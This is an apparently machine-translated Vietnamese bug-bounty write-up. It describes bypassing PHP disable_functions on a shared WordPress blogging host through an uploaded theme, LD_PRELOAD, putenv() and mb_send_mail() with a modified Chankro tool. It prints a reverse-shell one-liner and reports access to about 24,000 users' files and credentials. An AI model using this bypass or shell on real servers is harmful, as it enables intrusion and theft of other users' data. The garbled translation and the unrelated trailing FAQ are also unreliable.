Tắt chức năng php

Hôm nay tôi sẽ chỉ cho bạn cách tôi có thể bỏ qua disable_functions và lấy một trình bao từ xa giúp tôi truy cập hầu hết các tệp của người dùng

Trước hết, Đây là một chương trình công khai, tuy nhiên, tôi sẽ đề cập đến nó với mục tiêu. com

logic ứng dụng

Mục tiêu của ứng dụng mục tiêu này là tạo blog mới cho người dùng đã đăng ký trong miền của nó [e. g. blog mới. Mục tiêu. com] sử dụng công cụ WordPress

Các trang blog có thể được chỉnh sửa và thiết kế bằng trình chỉnh sửa ứng dụng hoặc bằng bảng điều khiển WordPress

Thăm dò

Bắt đầu từ blog mới tạo của mình, tôi đã mày mò để kiểm tra xem mình có những đặc quyền nào và những tính năng nào tôi được phép sử dụng hoặc sửa đổi, và trong các ảnh chụp màn hình sau đây, tôi đã cho thấy quan sát đầu tiên của mình. Mặc dù tôi có vai trò Quản trị viên nhưng blog của tôi không có tab trình chỉnh sửa, không giống như một blog WordPress thông thường sẽ có

Không có cách nào tôi có thể chỉnh sửa bất kỳ plugin hoặc chủ đề nào, nhưng tôi có thể tải lên một cái mới

Tôi cần kiểm tra xem có bất kỳ hạn chế nào đối với việc tải lên các tệp đã chỉnh sửa hay không, đồng thời cần kiểm tra khả năng chạy mã PHP của riêng tôi

Vì vậy, thay vì chỉnh sửa chủ đề/plugin hiện tại, tôi bắt đầu tải lên một chủ đề/plugin mới, tôi đã tải xuống một chủ đề đơn giản có tên là “Blank Canvas” và cố gắng mở tệp PHP chính sẽ chạy mỗi khi ứng dụng tải blog của tôi để tôi có thể . php

Tôi đã thử in một chuỗi đơn giản và tất cả đều tốt

Sau đó, tôi bắt đầu chạy bất kỳ lệnh hệ thống nào với các hàm shell_exec[] và system[], v.v., nhưng không có đầu ra

Tôi đoán rằng các chức năng này đã bị vô hiệu hóa và sau khi kiểm tra phpinfo[], tôi đã đúng

Nếu bạn không biết disable_functions là gì, điều này cho phép máy chủ vô hiệu hóa một số chức năng PHP nhất định để nâng cao tính bảo mật của máy chủ và bạn có thể đặt nó bằng php. ini hoặc với cấu hình máy chủ

Ngoài ra khi tôi kiểm tra open_basingir để kiểm tra các thư mục mở mà tôi được phép truy cập. -tất cả các đường dẫn được phân tách bằng dấu hai chấm-

Tôi thấy rằng tôi không thể truy cập bất kỳ tệp hệ thống nào, chỉ các tệp wp và tệp đã tải lên của tôi

Tôi cũng nhận thấy từ các thư mục được phép rằng tên miền phụ trang web của tôi có các tệp riêng theo đường dẫn sau

/mnt/customars-MY_SUBDOAMIN_NAME-wordpress-pvc-RANDOM_VALUE/

Điều này cũng khiến tôi chú ý, bởi vì nếu tài khoản/trang web của tôi có một thư mục trong máy chủ, có thể máy chủ này là máy chủ dùng chung và chứa các tệp của người dùng khác

Và nếu vậy, và như tôi đã nói ở trên, chúng tôi không thể truy cập nó do chính sách open_basingir, vì vậy chúng tôi cần tìm cách vượt qua những hạn chế này và lấy một trình bao từ xa để khám phá các tệp máy chủ để kiểm tra xem dự đoán của tôi có đúng hay không

Bỏ qua disable_functions

Sau một số nghiên cứu, tôi đã đưa ra hai phương pháp, hãy thảo luận về một trong số chúng, nhưng trước khi chúng ta bắt đầu, có một số điểm cần tuyên bố

  • Có một biến môi trường được gọi là LD_PRELOAD, nó cung cấp khả năng tải trước một thư viện - LibraryName. so - trước phần còn lại của các thư viện khác
  • Nếu chúng tôi có khả năng đặt nó thành đường dẫn của một đối tượng được chia sẻ dưới sự kiểm soát của chúng tôi, thì tệp đó sẽ được tải trước bất kỳ thư viện nào khác, Có, không có giới hạn PHP
  • Để làm như vậy, trước tiên cần chạy chương trình nhị phân

Bây giờ chúng ta có ý tưởng chính, đó là thiết lập hoặc ghi đè biến môi trường LD_PRELOAD thành thư viện dùng chung có kiểm soát

Tóm lại, chúng ta cần những điều sau đây

  1. Một nhị phân được thực hiện
  2. Một cách để đặt hoặc ghi đè lên biến LD_PRELOAD
  3. Tạo đối tượng tùy ý của chúng tôi có thể là tệp nhị phân hoặc tập lệnh bash để chúng tôi có thể chạy lệnh hoặc lấy trình bao đảo ngược

Một trong những hàm nổi tiếng trong PHP là hàm mail[], Nếu nó được thực thi trong PHP và tôi biết nó bị vô hiệu hóa trong trang phpinfo trong trường hợp của chúng tôi. Tuy nhiên, dù sao đi nữa, chức năng này sẽ sử dụng tệp nhị phân /user/sbin/sendmail trên hệ thống của bạn, PHP trước tiên sẽ tìm kiếm sendmail trong $PATH của bạn rồi thực thi nó, và đó chính xác là những gì chúng tôi muốn, nhưng như chúng tôi biết, nó bị vô hiệu hóa, vì vậy chúng tôi cần

Có một chức năng hoạt động giống như “mail[]” là “mb_send_mail[]” nhưng nó sẽ chỉ hoạt động nếu mô-đun mbstring được bật, hãy xem lại phpinfo

Tốt, nó đã được kích hoạt, bây giờ chúng ta có thể sử dụng nó

Để đặt biến môi trường, chúng ta có thể sử dụng hàm putenv[] và như bạn có thể nhận thấy, nó cũng không bị tắt

điều cuối cùng là tạo thư viện tùy ý của chúng tôi, tôi đã tìm thấy công cụ Chankro, công cụ này sẽ giúp chúng tôi làm tất cả những điều đó, bạn sẽ cung cấp cho nó tải trọng trình bao ngược và thư mục bạn kiểm soát và nó sẽ cung cấp cho bạn mã PHP cuối cùng để

Công cụ này dựa trên việc sử dụng hàm mail[] nên chúng ta có thể dễ dàng chỉnh sửa mã nguồn và thay đổi mail[] thành mb_send_mail[]

Lưu tệp đã chỉnh sửa và chúng tôi có thể sử dụng tải trọng Shell đảo ngược đơn giản như

bash -c 'sh -i >& /dev/tcp// 0>&1'

Bây giờ chúng ta có thể chạy công cụ và kết quả sẽ là một tệp PHP có mã tùy ý của chúng ta

Hãy thêm nội dung của nó vào các chức năng. php trong các tệp chủ đề “Blank Canvas” và tải nó lên

Tất cả đều tốt, chúng tôi có thể tạo trình nghe Netcat và truy cập trang web của chúng tôi

Chúng tôi đã có một trình bao ngược, bây giờ trở lại mục tiêu chính, chúng tôi muốn biết liệu đây có phải là máy chủ dùng chung có tệp của người dùng khác hay không

Và khi tôi tìm kiếm, tôi đã tìm thấy tệp cho khoảng 24000 người dùng

Ngoài ra, tôi đã tìm thấy tên người dùng và mật khẩu Cơ sở dữ liệu của hầu hết người dùng, tôi đã tìm thấy một số mã thông báo xác thực của những người khác, v.v.

Vô hiệu hóa chức năng là gì?

Chức năng vô hiệu hóa cho phép máy chủ vô hiệu hóa một số chức năng nhất định để nâng cao mức độ bảo mật của máy chủ . PHP có rất nhiều chức năng có thể được sử dụng để bẻ khóa máy chủ của ứng dụng nếu chúng không được sử dụng đúng cách.

Các loại hàm khác nhau trong PHP là gì?

Hàm PHP .
Các hàm tích hợp trong PHP. .
Các hàm do người dùng định nghĩa PHP. .
Tạo một hàm do người dùng định nghĩa trong PHP. .
Đối số chức năng PHP. .
PHP là một ngôn ngữ được gõ lỏng lẻo. .
Giá trị đối số mặc định PHP. .
Hàm PHP - Trả về giá trị. .
Khai báo kiểu trả về PHP

Chỉ thị PHP INI nào sau đây nên bị vô hiệu hóa để cải thiện tính bảo mật cho ứng dụng của bạn?

PHP. Cài đặt INI Vô hiệu hóa exec, shell_exec, system, popen và các chức năng khác để cải thiện bảo mật - nixCraft

Chủ Đề